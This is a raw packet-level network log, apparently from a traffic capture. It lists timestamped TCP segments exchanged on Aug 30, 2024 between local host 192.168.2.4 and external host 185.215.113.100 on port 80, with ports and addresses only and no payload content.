Aug 30, 2024 18:18:08.292839050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292848110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292850018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292860985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292869091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292870998 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292877913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292887926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292892933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292898893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292912006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292934895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292953014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293294907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293303967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293313026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293322086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293332100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293339968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293350935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293351889 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293359995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293371916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293380976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293386936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293392897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293409109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293437004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293756008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293767929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293776035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293786049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293796062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293802977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293812037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293816090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293822050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293831110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293836117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293840885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293853045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293855906 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293862104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.293874025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293894053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.293906927 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371093035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371113062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371124029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371134043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371145010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371156931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371237040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371253967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371364117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371372938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371383905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371395111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371404886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371404886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371417999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371423960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371521950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371532917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371542931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371573925 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371584892 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371803045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371865988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371877909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371912956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371943951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.371973038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371984959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.371994972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.372023106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.372046947 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.372072935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.373806000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375149012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375199080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375214100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375227928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375255108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375268936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375287056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375298977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375309944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375335932 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375366926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375427008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375437975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375477076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375772953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375818014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375828981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375838995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375871897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.375965118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375977039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.375987053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376015902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376028061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376029968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376066923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376069069 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376076937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376106977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376108885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376120090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376128912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376152039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376172066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376238108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376249075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376260042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376291990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.376311064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.376313925 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.377798080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378618956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378640890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378652096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378668070 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378679037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378700018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378732920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378743887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378774881 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378810883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378822088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378832102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378851891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378880978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378907919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378918886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378928900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.378952980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.378964901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379053116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379064083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379074097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379085064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379095078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379102945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379137039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379249096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379260063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379270077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379280090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379290104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379292011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379312038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379332066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379400969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379410982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379421949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379432917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379451036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379482985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379671097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379683018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379692078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379703045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379713058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379719973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379723072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379734039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379741907 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379745007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379754066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379764080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379765987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379776955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379787922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379791975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379818916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379837036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.379987955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.379998922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380026102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380045891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380055904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380067110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380078077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380106926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380132914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380239010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380249977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380260944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380271912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380283117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380289078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380291939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380304098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380314112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380321980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380325079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380336046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380340099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380357027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380371094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380562067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380573034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380590916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380600929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380609989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380614996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380637884 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380666971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380697012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380707979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380717039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380727053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380737066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380744934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380748034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380757093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380769014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380774021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380779028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380791903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380795002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380800962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380811930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380822897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380822897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380834103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.380851984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.380873919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.381249905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381262064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381273031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381283045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381293058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381303072 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.381304026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381314039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381325006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.381325960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.381344080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.381361961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.458492994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458631039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458640099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458646059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458651066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458693981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458698988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458703995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458767891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458839893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458848000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.458853960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458894968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.458928108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.458997011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459007025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459017992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459026098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459043026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459053993 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459330082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459338903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459374905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459378958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459420919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459459066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459469080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459479094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459496975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459506989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459526062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459568024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459593058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.459604025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.459628105 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.462857008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.462898970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.462908030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.462954044 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.462975025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.462986946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.462986946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463021040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463099003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463108063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463116884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463143110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463154078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463218927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463227034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463268042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463274002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463301897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463311911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463314056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463339090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463346958 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463534117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463545084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463556051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463562965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.463589907 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463613033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.463984966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464050055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464062929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464102983 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.464128017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.464147091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464157104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464164972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464174032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.464196920 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.464216948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.466139078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466186047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466192961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466226101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.466248035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.466252089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466259956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466269970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466279984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466304064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.466331005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.466407061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466481924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466490984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466500998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466511011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.466520071 CEST	49730	80	192.168.2.4	185.215.113.100
